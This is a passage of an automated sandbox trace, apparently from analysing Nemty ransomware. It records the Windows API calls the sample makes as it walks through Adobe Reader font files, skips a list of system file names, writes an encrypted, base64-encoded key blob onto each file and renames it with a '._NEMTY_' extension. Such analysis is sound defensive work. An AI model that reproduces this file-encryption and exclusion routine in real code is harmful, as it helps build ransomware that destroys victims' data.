pszString="TMqeqjQVYYssdNjC1wqd9t9rPJHw1nAbC8nvArcpuzywHYdG3P2ht3ja3+FpGvIN\r\nY5tDTUBT7vUUT+8ES+PkEzRFPaMblR9d5l4d0JYw9K5aLeuyftsH9/A8/Gxf4ETg\r\nZjUJ7zJjPKySCGb/6ZnIcmYgw75Oz4kaoGeGZgNdQzlBpng4IzXTmY+sTdMLP0mN\r\nK1h21pOoJrdtmStAiI+GfRCX2YlYMjjZMVj0tNBiG/AzYpd6rWMaa/UD6/x8btPw\r\ndcjQMgvQIFxofJ0D38zIY+WcS+E+SLHl49KL7fT8a9PrD4kurW8rGzSQQfGWuZR6\r\nyXwI0I5l5OF+OckLPQSMGg==\r\n", pcchString=0x653e91c) returned 1 [0214.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.079] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.079] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=69196) returned 1 [0214.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10e40) returned 0x6352c48 [0214.079] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.079] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10e40, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x10e40, lpOverlapped=0x0) returned 1 [0214.085] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.085] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10e40, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x10e40, lpOverlapped=0x0) returned 1 [0214.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.086] SetFilePointer (in: hFile=0x254, lDistanceToMove=69196, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4c [0214.086] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.086] CloseHandle (hObject=0x254) returned 1 [0214.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.086] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Bold.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-bold.otf._nemty_kgobjgd_")) returned 1 [0214.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.087] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-BoldItalic.otf", cAlternateFileName="ADOBEH~1.OTF")) returned 1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2=".") returned 1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="..") returned 1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="...") returned 1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="windows") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="rsa") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="NTDETECT.COM") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="ntldr") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="MSDOS.SYS") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="IO.SYS") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="boot.ini") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="boot.ini") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="AUTOEXEC.BAT") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="ntuser.dat") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="desktop.ini") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="CONFIG.SYS") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="RECYCLER") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="BOOTSECT.BAK") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="bootmgr") returned -1 [0214.087] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="programdata") returned -1 [0214.088] lstrcmpiW (lpString1="AdobeHebrew-BoldItalic.otf", lpString2="appdata") returned -1 [0214.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0214.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 26 [0214.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0214.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 26 [0214.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0214.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 26 [0214.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0214.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 26 [0214.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94130 [0214.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f941e8 [0214.088] Sleep (dwMilliseconds=0x5) [0214.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x333f19d0, dwHighDateTime=0x1d561e8)) [0214.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x333f19d0, dwHighDateTime=0x1d561e8)) [0214.092] GetLastError () returned 0x0 [0214.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.092] GetLastError () returned 0x0 [0214.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.092] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.093] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.093] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.093] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="RwgVVx1ZGFezK5uFrpS+It7C+9k7cZfpx9WwY82hM6tR+hRsN/dzm7NgsWkHtFSN\r\n/bKyDLMH3/tsAGA/Abxxp+4f9c8kVZJcFu6TTWWjCX3HN6gdV3cSOnC6mMxTtJhk\r\nyoOrQEBHsEOP6H6dj7ia9gH9AE2MqKOuWr2TOgjLNJ4bW95kvWlv5NtDsO0HjnTr\r\nmzzg9wA0DKLvncpdQ7YxLHZdvsNqIfQRR80lnM8DKB/1W+gNK67oX5qkSh0GjrK5\r\nQSv1jxd77m7j8esb1uGq8RBkL7uYN2YgG6M03iM/Xq4C+MPC9Msd6PC8UOcYhO6H\r\nzCClXafEthK+ByhzuaNEzw==\r\n", pcchString=0x653e91c) returned 1 [0214.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-bolditalic.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.094] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=72400) returned 1 [0214.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11ad0) returned 0x6352c48 [0214.094] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.094] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11ad0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x11ad0, lpOverlapped=0x0) returned 1 [0214.100] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.100] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11ad0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x11ad0, lpOverlapped=0x0) returned 1 [0214.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.100] SetFilePointer (in: hFile=0x254, lDistanceToMove=72400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11ad0 [0214.101] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.101] CloseHandle (hObject=0x254) returned 1 [0214.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942a0 [0214.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0214.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0214.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0214.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.101] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-bolditalic.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-BoldItalic.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-bolditalic.otf._nemty_kgobjgd_")) returned 1 [0214.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0214.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e8 | out: hHeap=0x4f90000) returned 1 [0214.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.102] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83575be0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Italic.otf", cAlternateFileName="ADOBEH~2.OTF")) returned 1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2=".") returned 1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="..") returned 1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="...") returned 1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="windows") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="rsa") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="NTDETECT.COM") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="ntldr") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="MSDOS.SYS") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="IO.SYS") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="boot.ini") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="boot.ini") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="AUTOEXEC.BAT") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="ntuser.dat") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="desktop.ini") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="CONFIG.SYS") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="RECYCLER") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="BOOTSECT.BAK") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="bootmgr") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="programdata") returned -1 [0214.102] lstrcmpiW (lpString1="AdobeHebrew-Italic.otf", lpString2="appdata") returned -1 [0214.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Italic.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0214.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Italic.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Italic.otf", lpUsedDefaultChar=0x0) returned 22 [0214.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Italic.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0214.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Italic.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Italic.otf", lpUsedDefaultChar=0x0) returned 22 [0214.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Italic.otf", 